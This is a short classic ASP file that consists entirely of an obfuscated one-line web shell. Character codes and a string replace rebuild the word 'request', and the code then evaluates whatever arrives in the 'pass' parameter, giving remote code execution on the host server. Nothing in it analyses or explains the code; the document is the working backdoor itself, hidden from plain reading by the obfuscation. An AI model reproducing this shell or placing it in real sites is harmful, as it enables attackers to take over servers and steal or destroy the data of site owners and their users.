<% a=chr(114)+chr(97)+chr(97)+chr(97)+chr(101)+chr(97)+chr(97)+chr(97)&chr(113)+chr(97)+chr(97)+chr(97)&chr(117)+chr(97)+chr(97)+chr(97)&chr(101)+chr(97)+chr(97)+chr(97)+chr(115)+chr(97)+chr(97)+chr(97)&chr(116) %> <% b=replace(a,"aaa","") eval(eval(b)("pass")) %>